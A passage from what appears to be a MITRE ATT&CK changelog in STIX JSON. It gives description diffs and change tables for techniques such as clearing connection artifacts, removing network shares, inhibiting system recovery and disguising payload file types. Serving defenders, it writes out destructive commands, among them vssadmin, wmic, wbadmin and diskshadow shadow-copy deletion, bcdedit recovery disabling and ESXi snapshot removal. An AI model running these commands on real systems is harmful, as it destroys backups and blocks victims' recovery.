impede defensive analysis.\", \"old_value\": \"Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n\\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\\n\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\n* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\n\\nWindows may also store information about recent RDP connections in files such as C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\nServer Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n \\n-Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\\n+Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\\n \\n-* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\n-* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\n+* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default(Citation: Microsoft RDP Removal)\\n+* HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers(Citation: Microsoft RDP Removal)\\n \\n Windows may also store information about recent RDP connections in files such as C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\n Server Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may clear or remove evidence of malicious networ | t | 1 | Adversaries may clear or remove evidence of malicious networ |
| > | k connections in order to clean up traces of their operation | > | k connections in order to clean up traces of their operation | ||
| > | s. Configuration settings as well as various artifacts that | > | s. Configuration settings as well as various artifacts that | ||
| > | highlight connection history may be created on a system and/ | > | highlight connection history may be created on a system and/ | ||
| > | or in application logs from behaviors that require network c | > | or in application logs from behaviors that require network c | ||
| > | onnections, such as [Remote Services](https://attack.mitre.o | > | onnections, such as [Remote Services](https://attack.mitre.o | ||
| > | rg/techniques/T1021) or [External Remote Services](https://a | > | rg/techniques/T1021) or [External Remote Services](https://a | ||
| > | ttack.mitre.org/techniques/T1133). Defenders may use these a | > | ttack.mitre.org/techniques/T1133). Defenders may use these a | ||
| > | rtifacts to monitor or otherwise analyze network connections | > | rtifacts to monitor or otherwise analyze network connections | ||
| > | created by adversaries. Network connection history may be | > | created by adversaries. Network connection history may be | ||
| > | stored in various locations. For example, RDP connection his | > | stored in various locations. For example, RDP connection his | ||
| > | tory may be stored in Windows Registry values under (Citatio | > | tory may be stored in Windows Registry values under: * <cod | ||
| > | n: Microsoft RDP Removal): * <code>HKEY_CURRENT_USER\\Softwa | > | e>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Clien | ||
| > | re\\Microsoft\\Terminal Server Client\\Default</code> * <code>H | > | t\\Default</code>(Citation: Microsoft RDP Removal) * <code>HK | ||
| > | KEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\S | > | EY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Se | ||
| > | ervers</code> Windows may also store information about rece | > | rvers</code>(Citation: Microsoft RDP Removal) Windows may a | ||
| > | nt RDP connections in files such as <code>C:\\Users\\\\%usernam | > | lso store information about recent RDP connections in files | ||
| > | e%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\App | > | such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</co | ||
| > | Data\\Local\\Microsoft\\Terminal Server Client\\Cache\\`.(Citatio | > | de> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Termina | ||
| > | n: Moran RDPieces) Similarly, macOS and Linux hosts may stor | > | l Server Client\\Cache\\`.(Citation: Moran RDPieces) Similarly | ||
| > | e information highlighting connection history in system logs | > | , macOS and Linux hosts may store information highlighting c | ||
| > | (such as those stored in `/Library/Logs` and/or `/var/log/` | > | onnection history in system logs (such as those stored in `/ | ||
| > | ).(Citation: Apple Culprit Access)(Citation: FreeDesktop Jou | > | Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit A | ||
| > | rnal)(Citation: Apple Unified Log Analysis Remote Login and | > | ccess)(Citation: FreeDesktop Journal)(Citation: Apple Unifie | ||
| > | Screen Sharing) Malicious network connections may also requ | > | d Log Analysis Remote Login and Screen Sharing) Malicious n | ||
| > | ire changes to third-party applications or network configura | > | etwork connections may also require changes to third-party a | ||
| > | tion settings, such as [Disable or Modify System Firewall](h | > | pplications or network configuration settings, such as [Disa | ||
| > | ttps://attack.mitre.org/techniques/T1686) or tampering to en | > | ble or Modify System Firewall](https://attack.mitre.org/tech | ||
| > | able [Proxy](https://attack.mitre.org/techniques/T1090). Adv | > | niques/T1686) or tampering to enable [Proxy](https://attack. | ||
| > | ersaries may delete or modify this data to conceal indicator | > | mitre.org/techniques/T1090). Adversaries may delete or modif | ||
| > | s and/or impede defensive analysis. | > | y this data to conceal indicators and/or impede defensive an | ||
| > | alysis. |
net use \\\\system\\share /delete command.(Citation: Technet Net Use)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/005",
"external_id": "T1070.005"
},
{
"source_name": "Technet Net Use",
"description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
"url": "https://technet.microsoft.com/bb490717.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:23:19.177000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\\\\\system\\\\share /delete command.(Citation: Technet Net Use)\", \"old_value\": \"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\\\\\system\\\\share /delete command. (Citation: Technet Net Use)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may remove share connections that are no longer | t | 1 | Adversaries may remove share connections that are no longer |
| > | useful in order to clean up traces of their operation. Windo | > | useful in order to clean up traces of their operation. Windo | ||
| > | ws shared drive and [SMB/Windows Admin Shares](https://attac | > | ws shared drive and [SMB/Windows Admin Shares](https://attac | ||
| > | k.mitre.org/techniques/T1021/002) connections can be removed | > | k.mitre.org/techniques/T1021/002) connections can be removed | ||
| > | when no longer needed. [Net](https://attack.mitre.org/softw | > | when no longer needed. [Net](https://attack.mitre.org/softw | ||
| > | are/S0039) is an example utility that can be used to remove | > | are/S0039) is an example utility that can be used to remove | ||
| > | network share connections with the <code>net use \\\\system\\sh | > | network share connections with the <code>net use \\\\system\\sh | ||
| > | are /delete</code> command. (Citation: Technet Net Use) | > | are /delete</code> command.(Citation: Technet Net Use) |
vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all(Citation: Diskshadow)(Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1490",
"external_id": "T1490"
},
{
"source_name": "Dark Reading Code Spaces Cyber Attack",
"description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
"url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"
},
{
"source_name": "FireEye WannaCry 2017",
"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
},
{
"source_name": "Cybereason",
"description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.",
"url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Diskshadow",
"description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.",
"url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"
},
{
"source_name": "Crytox Ransomware",
"description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.",
"url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"
},
{
"source_name": "Rhino Security Labs AWS S3 Ransomware",
"description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
"url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
},
{
"source_name": "ZDNet Ransomware Backups 2020",
"description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
"url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
},
{
"source_name": "disable_notif_synology_ransom",
"description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
"url": "https://x.com/TheDFIRReport/status/1498657590259109894"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Yonatan Gotlib, Deep Instinct",
"Austin Clark, @c2defense",
"Pallavi Sivakumaran, WithSecure",
"Joey Lei",
"Harjot Shah Singh"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:47:26.815000+00:00\", \"old_value\": \"2026-05-12 15:12:00.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all(Citation: Diskshadow)(Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"old_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -9,7 +9,7 @@\\n * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\\n * bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\\n * REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n-* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n+* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all(Citation: Diskshadow)(Citation: Crytox Ransomware)\\n \\n On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n \"}}}",
"previous_version": "1.6",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or remove built-in data and turn off | t | 1 | Adversaries may delete or remove built-in data and turn off |
| > | services designed to aid in the recovery of a corrupted syst | > | services designed to aid in the recovery of a corrupted syst | ||
| > | em to prevent recovery.(Citation: Talos Olympic Destroyer 20 | > | em to prevent recovery.(Citation: Talos Olympic Destroyer 20 | ||
| > | 18)(Citation: FireEye WannaCry 2017) This may deny access to | > | 18)(Citation: FireEye WannaCry 2017) This may deny access to | ||
| > | available backups and recovery options. Operating systems | > | available backups and recovery options. Operating systems | ||
| > | may contain features that can help fix corrupted systems, su | > | may contain features that can help fix corrupted systems, su | ||
| > | ch as a backup catalog, volume shadow copies, and automatic | > | ch as a backup catalog, volume shadow copies, and automatic | ||
| > | repair features. Adversaries may disable or delete system re | > | repair features. Adversaries may disable or delete system re | ||
| > | covery features to augment the effects of [Data Destruction] | > | covery features to augment the effects of [Data Destruction] | ||
| > | (https://attack.mitre.org/techniques/T1485) and [Data Encryp | > | (https://attack.mitre.org/techniques/T1485) and [Data Encryp | ||
| > | ted for Impact](https://attack.mitre.org/techniques/T1486).( | > | ted for Impact](https://attack.mitre.org/techniques/T1486).( | ||
| > | Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa | > | Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa | ||
| > | nnaCry 2017) Furthermore, adversaries may disable recovery n | > | nnaCry 2017) Furthermore, adversaries may disable recovery n | ||
| > | otifications, then corrupt backups.(Citation: disable_notif_ | > | otifications, then corrupt backups.(Citation: disable_notif_ | ||
| > | synology_ransom) A number of native Windows utilities have | > | synology_ransom) A number of native Windows utilities have | ||
| > | been used by adversaries to disable or delete system recover | > | been used by adversaries to disable or delete system recover | ||
| > | y features: * <code>vssadmin.exe</code> can be used to dele | > | y features: * <code>vssadmin.exe</code> can be used to dele | ||
| > | te all volume shadow copies on a system - <code>vssadmin.exe | > | te all volume shadow copies on a system - <code>vssadmin.exe | ||
| > | delete shadows /all /quiet</code> * [Windows Management Ins | > | delete shadows /all /quiet</code> * [Windows Management Ins | ||
| > | trumentation](https://attack.mitre.org/techniques/T1047) can | > | trumentation](https://attack.mitre.org/techniques/T1047) can | ||
| > | be used to delete volume shadow copies - <code>wmic shadowc | > | be used to delete volume shadow copies - <code>wmic shadowc | ||
| > | opy delete</code> * <code>wbadmin.exe</code> can be used to | > | opy delete</code> * <code>wbadmin.exe</code> can be used to | ||
| > | delete the Windows Backup Catalog - <code>wbadmin.exe delete | > | delete the Windows Backup Catalog - <code>wbadmin.exe delete | ||
| > | catalog -quiet</code> * <code>bcdedit.exe</code> can be use | > | catalog -quiet</code> * <code>bcdedit.exe</code> can be use | ||
| > | d to disable automatic Windows recovery features by modifyin | > | d to disable automatic Windows recovery features by modifyin | ||
| > | g boot configuration data - <code>bcdedit.exe /set {default} | > | g boot configuration data - <code>bcdedit.exe /set {default} | ||
| > | bootstatuspolicy ignoreallfailures & bcdedit /set {default} | > | bootstatuspolicy ignoreallfailures & bcdedit /set {default} | ||
| > | recoveryenabled no</code> * <code>REAgentC.exe</code> can b | > | recoveryenabled no</code> * <code>REAgentC.exe</code> can b | ||
| > | e used to disable Windows Recovery Environment (WinRE) repai | > | e used to disable Windows Recovery Environment (WinRE) repai | ||
| > | r/recovery options of an infected system * <code>diskshadow. | > | r/recovery options of an infected system * <code>diskshadow. | ||
| > | exe</code> can be used to delete all volume shadow copies on | > | exe</code> can be used to delete all volume shadow copies on | ||
| > | a system - <code>diskshadow delete shadows all</code> (Cita | > | a system - <code>diskshadow delete shadows all</code>(Citat | ||
| > | tion: Diskshadow) (Citation: Crytox Ransomware) On network | > | ion: Diskshadow)(Citation: Crytox Ransomware) On network de | ||
| > | devices, adversaries may leverage [Disk Wipe](https://attack | > | vices, adversaries may leverage [Disk Wipe](https://attack.m | ||
| > | .mitre.org/techniques/T1561) to delete backup firmware image | > | itre.org/techniques/T1561) to delete backup firmware images | ||
| > | s and reformat the file system, then [System Shutdown/Reboot | > | and reformat the file system, then [System Shutdown/Reboot]( | ||
| > | ](https://attack.mitre.org/techniques/T1529) to reload the d | > | https://attack.mitre.org/techniques/T1529) to reload the dev | ||
| > | evice. Together this activity may leave network devices comp | > | ice. Together this activity may leave network devices comple | ||
| > | letely inoperable and inhibit recovery operations. On ESXi | > | tely inoperable and inhibit recovery operations. On ESXi se | ||
| > | servers, adversaries may delete or encrypt snapshots of virt | > | rvers, adversaries may delete or encrypt snapshots of virtua | ||
| > | ual machines to support [Data Encrypted for Impact](https:// | > | l machines to support [Data Encrypted for Impact](https://at | ||
| > | attack.mitre.org/techniques/T1486), preventing them from bei | > | tack.mitre.org/techniques/T1486), preventing them from being | ||
| > | ng leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot. | > | leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.re | ||
| > | removeall`).(Citation: Cybereason) Adversaries may also del | > | moveall`).(Citation: Cybereason) Adversaries may also delet | ||
| > | ete \u201conline\u201d backups that are connected to their network \u2013 w | > | e \u201conline\u201d backups that are connected to their network \u2013 whe | ||
| > | hether via network storage media or through folders that syn | > | ther via network storage media or through folders that sync | ||
| > | c to cloud services.(Citation: ZDNet Ransomware Backups 2020 | > | to cloud services.(Citation: ZDNet Ransomware Backups 2020) | ||
| > | ) In cloud environments, adversaries may disable versioning | > | In cloud environments, adversaries may disable versioning an | ||
| > | and backup policies and delete snapshots, database backups, | > | d backup policies and delete snapshots, database backups, ma | ||
| > | machine images, and prior versions of objects designed to be | > | chine images, and prior versions of objects designed to be u | ||
| > | used in disaster recovery scenarios.(Citation: Dark Reading | > | sed in disaster recovery scenarios.(Citation: Dark Reading C | ||
| > | Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS | > | ode Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S | ||
| > | S3 Ransomware) | > | 3 Ransomware) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse inter-process communication (IPC) mech | t | 1 | Adversaries may abuse inter-process communication (IPC) mech |
| > | anisms for local code or command execution. IPC is typically | > | anisms for local code or command execution. IPC is typically | ||
| > | used by processes to share data, communicate with each othe | > | used by processes to share data, communicate with each othe | ||
| > | r, or synchronize execution. IPC is also commonly used to av | > | r, or synchronize execution. IPC is also commonly used to av | ||
| > | oid situations such as deadlocks, which occurs when processe | > | oid situations such as deadlocks, which occur when processes | ||
| > | s are stuck in a cyclic waiting pattern. Adversaries may a | > | are stuck in a cyclic waiting pattern. Adversaries may ab | ||
| > | buse IPC to execute arbitrary code or commands. IPC mechanis | > | use IPC to execute arbitrary code or commands. IPC mechanism | ||
| > | ms may differ depending on OS, but typically exists in a for | > | s may differ depending on OS, but typically exists in a form | ||
| > | m accessible through programming languages/libraries or nati | > | accessible through programming languages/libraries or nativ | ||
| > | ve interfaces such as Windows [Dynamic Data Exchange](https: | > | e interfaces such as Windows [Dynamic Data Exchange](https:/ | ||
| > | //attack.mitre.org/techniques/T1559/002) or [Component Objec | > | /attack.mitre.org/techniques/T1559/002) or [Component Object | ||
| > | t Model](https://attack.mitre.org/techniques/T1559/001). Lin | > | Model](https://attack.mitre.org/techniques/T1559/001). Linu | ||
| > | ux environments support several different IPC mechanisms, tw | > | x environments support several different IPC mechanisms, two | ||
| > | o of which being sockets and pipes.(Citation: Linux IPC) Hig | > | of which being sockets and pipes.(Citation: Linux IPC) High | ||
| > | her level execution mediums, such as those of [Command and S | > | er level execution mediums, such as those of [Command and Sc | ||
| > | cripting Interpreter](https://attack.mitre.org/techniques/T1 | > | ripting Interpreter](https://attack.mitre.org/techniques/T10 | ||
| > | 059)s, may also leverage underlying IPC mechanisms. Adversar | > | 59)s, may also leverage underlying IPC mechanisms. Adversari | ||
| > | ies may also use [Remote Services](https://attack.mitre.org/ | > | es may also use [Remote Services](https://attack.mitre.org/t | ||
| > | techniques/T1021) such as [Distributed Component Object Mode | > | echniques/T1021) such as [Distributed Component Object Model | ||
| > | l](https://attack.mitre.org/techniques/T1021/003) to facilit | > | ](https://attack.mitre.org/techniques/T1021/003) to facilita | ||
| > | ate remote IPC execution.(Citation: Fireeye Hunting COM June | > | te remote IPC execution.(Citation: Fireeye Hunting COM June | ||
| > | 2019) | > | 2019) |
0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/008",
"external_id": "T1036.008"
},
{
"source_name": "polygot_icedID",
"description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
"url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
